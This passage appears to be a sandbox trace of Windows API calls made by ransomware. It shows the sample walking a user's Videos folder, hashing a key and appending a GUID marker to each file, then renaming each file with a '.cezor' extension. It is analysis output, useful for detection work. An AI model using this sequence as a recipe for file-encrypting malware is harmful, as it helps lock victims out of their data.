pdwDataLen=0x9aafa98) returned 1 [0062.320] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.320] GetLastError () returned 0x0 [0062.320] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.320] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.321] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4b32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.321] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.321] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.321] CloseHandle (hObject=0x5c4) returned 1 [0062.322] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\9vWEh.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\3yqcdzajgpao0vk26hve\\9vweh.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\9vWEh.mkv.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\3yqcdzajgpao0vk26hve\\9vweh.mkv.cezor")) returned 1 [0062.323] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5e6d50, ftCreationTime.dwHighDateTime=0x1d4d1c3, ftLastAccessTime.dwLowDateTime=0x72a8cd80, ftLastAccessTime.dwHighDateTime=0x1d4d4c8, ftLastWriteTime.dwLowDateTime=0x72a8cd80, ftLastWriteTime.dwHighDateTime=0x1d4d4c8, nFileSizeHigh=0x0, nFileSizeLow=0x1762d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dH-l6u.avi", cAlternateFileName="")) returned 1 [0062.323] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\dH-l6u.avi") returned=".avi" [0062.323] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\dH-l6u.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\3yqcdzajgpao0vk26hve\\dh-l6u.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.323] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=95789) returned 1 [0062.323] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.326] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17607, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.326] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.326] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x1762d, lpOverlapped=0x0) returned 1 [0062.327] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.327] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.327] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.327] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.328] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.328] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.328] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.328] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.328] GetLastError () returned 0x0 [0062.328] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.328] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.329] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1762d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.329] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.329] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.329] CloseHandle (hObject=0x5c4) returned 1 [0062.331] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\dH-l6u.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\3yqcdzajgpao0vk26hve\\dh-l6u.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\dH-l6u.avi.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\3yqcdzajgpao0vk26hve\\dh-l6u.avi.cezor")) returned 1 [0062.332] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dc83cc0, ftCreationTime.dwHighDateTime=0x1d4c74a, ftLastAccessTime.dwLowDateTime=0x1f4cfb20, ftLastAccessTime.dwHighDateTime=0x1d4cc6c, ftLastWriteTime.dwLowDateTime=0x1f4cfb20, ftLastWriteTime.dwHighDateTime=0x1d4cc6c, nFileSizeHigh=0x0, nFileSizeLow=0x15ec0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KZ_Ff2.avi", cAlternateFileName="")) returned 1 [0062.332] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\KZ_Ff2.avi") returned=".avi" [0062.332] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\KZ_Ff2.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\3yqcdzajgpao0vk26hve\\kz_ff2.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.332] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=89792) returned 1 [0062.332] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.334] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15e9a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.334] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.335] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x15ec0, lpOverlapped=0x0) returned 1 [0062.336] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.336] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.336] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.336] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.336] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.336] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.336] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.337] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.337] GetLastError () returned 0x0 [0062.337] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.337] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.337] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15ec0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.337] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.337] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.337] CloseHandle (hObject=0x5c4) returned 1 [0062.339] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\KZ_Ff2.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\3yqcdzajgpao0vk26hve\\kz_ff2.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\KZ_Ff2.avi.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\3yqcdzajgpao0vk26hve\\kz_ff2.avi.cezor")) returned 1 [0062.340] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19975d00, ftCreationTime.dwHighDateTime=0x1d4d3f7, ftLastAccessTime.dwLowDateTime=0x69654f20, ftLastAccessTime.dwHighDateTime=0x1d4c5d5, ftLastWriteTime.dwLowDateTime=0x69654f20, ftLastWriteTime.dwHighDateTime=0x1d4c5d5, nFileSizeHigh=0x0, nFileSizeLow=0x28bb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ziyBrxM6Ba3SqMjEYO.avi", cAlternateFileName="ZIYBRX~1.AVI")) returned 1 [0062.340] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\ziyBrxM6Ba3SqMjEYO.avi") returned=".avi" [0062.340] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\ziyBrxM6Ba3SqMjEYO.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\3yqcdzajgpao0vk26hve\\ziybrxm6ba3sqmjeyo.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.340] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=10427) returned 1 [0062.340] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.342] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2895, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.342] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.343] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x28bb, lpOverlapped=0x0) returned 1 [0062.343] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.343] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.343] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.343] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.344] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.344] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.344] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.344] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.344] GetLastError () returned 0x0 [0062.344] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.344] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.344] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x28bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.345] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.345] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.345] CloseHandle (hObject=0x5c4) returned 1 [0062.345] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\ziyBrxM6Ba3SqMjEYO.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\3yqcdzajgpao0vk26hve\\ziybrxm6ba3sqmjeyo.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\ziyBrxM6Ba3SqMjEYO.avi.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\3yqcdzajgpao0vk26hve\\ziybrxm6ba3sqmjeyo.avi.cezor")) returned 1 [0062.347] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19975d00, ftCreationTime.dwHighDateTime=0x1d4d3f7, ftLastAccessTime.dwLowDateTime=0x69654f20, ftLastAccessTime.dwHighDateTime=0x1d4c5d5, ftLastWriteTime.dwLowDateTime=0x69654f20, ftLastWriteTime.dwHighDateTime=0x1d4c5d5, nFileSizeHigh=0x0, nFileSizeLow=0x28bb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ziyBrxM6Ba3SqMjEYO.avi", cAlternateFileName="ZIYBRX~1.AVI")) returned 0 [0062.347] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.347] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.347] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.347] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\oADBIR\\") returned="oADBIR\\" [0062.347] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\") returned="aqq4ZugPM-uIfNTNxref\\" [0062.347] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\") returned="VuM2\\" [0062.347] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\") returned="2odT1K\\" [0062.347] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\") returned="vcVOmt\\" [0062.347] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0062.347] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.347] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.347] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0062.347] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.348] PathFindFileNameW (pszPath="") returned="" [0062.348] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.348] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\oADBIR\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe759f820, ftCreationTime.dwHighDateTime=0x1d4cbd6, ftLastAccessTime.dwLowDateTime=0x6d758a20, ftLastAccessTime.dwHighDateTime=0x1d4c62b, ftLastWriteTime.dwLowDateTime=0x6d758a20, ftLastWriteTime.dwHighDateTime=0x1d4c62b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.348] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.348] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe759f820, ftCreationTime.dwHighDateTime=0x1d4cbd6, ftLastAccessTime.dwLowDateTime=0x6d758a20, ftLastAccessTime.dwHighDateTime=0x1d4c62b, ftLastWriteTime.dwLowDateTime=0x6d758a20, ftLastWriteTime.dwHighDateTime=0x1d4c62b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.348] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bf9bde0, ftCreationTime.dwHighDateTime=0x1d4d188, ftLastAccessTime.dwLowDateTime=0xc17e4fd0, ftLastAccessTime.dwHighDateTime=0x1d4c7ac, ftLastWriteTime.dwLowDateTime=0xc17e4fd0, ftLastWriteTime.dwHighDateTime=0x1d4c7ac, nFileSizeHigh=0x0, nFileSizeLow=0x6f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8KFC8j7.swf", cAlternateFileName="")) returned 1 [0062.348] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.348] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x106) returned 0x31238e8 [0062.348] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.348] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\oADBIR\\8KFC8j7.swf") returned=".swf" [0062.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\oADBIR\\8KFC8j7.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\oadbir\\8kfc8j7.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.348] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=1782) returned 1 [0062.348] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.351] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.351] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.351] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0062.351] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.351] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.351] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x6f6, lpOverlapped=0x0) returned 1 [0062.351] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.351] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0062.352] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.352] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.352] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.352] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.352] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.352] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.352] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0062.352] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.352] GetLastError () returned 0x0 [0062.353] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.353] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0062.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x700) returned 0x3101f28 [0062.353] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0062.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.353] WriteFile (in: hFile=0x5c4, lpBuffer=0x3101f28*, nNumberOfBytesToWrite=0x6f1, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3101f28*, lpNumberOfBytesWritten=0x9aafb24*=0x6f1, lpOverlapped=0x0) returned 1 [0062.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3101f28 | out: hHeap=0x670000) returned 1 [0062.353] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0062.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 